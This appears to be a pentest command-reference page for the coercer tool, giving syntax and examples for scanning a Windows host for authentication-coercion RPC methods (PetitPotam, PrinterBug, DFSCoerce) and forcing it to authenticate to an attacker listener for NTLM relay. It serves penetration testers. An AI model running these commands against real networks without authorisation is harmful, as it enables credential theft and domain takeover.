Command Manager

Coercer Scan (Find Coercion Vectors)

Probe a target for every known authentication-coercion RPC method (PetitPotam, PrinterBug, DFSCoerce, MSEven, etc.). Use scan first to confirm which calls succeed before launching coerce.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
coercer
Category
Credential Attacks / NTLM Relay & Coercion
Platform
linux
Requires
password
Protocols
RPC, SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

coercer scan -u '<user>' -p '<password>' -d '<domain>' -t <target>

Credential variants

The same attack using a different authentication material.

Coerce All Working Vectors requires password

coercer coerce -u '<user>' -p '<password>' -d '<domain>' -t <target> -l <listener-ip>

Specific Method requires password

coercer coerce -u '<user>' -p '<password>' -d '<domain>' -t <target> -l <listener-ip> --filter-method-name PetitPotam

Examples

coercer scan -u jdoe -p 'Password123!' -d corp.local -t 10.10.10.20
coercer coerce -u jdoe -p 'Password123!' -d corp.local -t 10.10.10.20 -l 10.10.14.5

Tags

coercer coercion petitpotam printerbug dfscoerce

References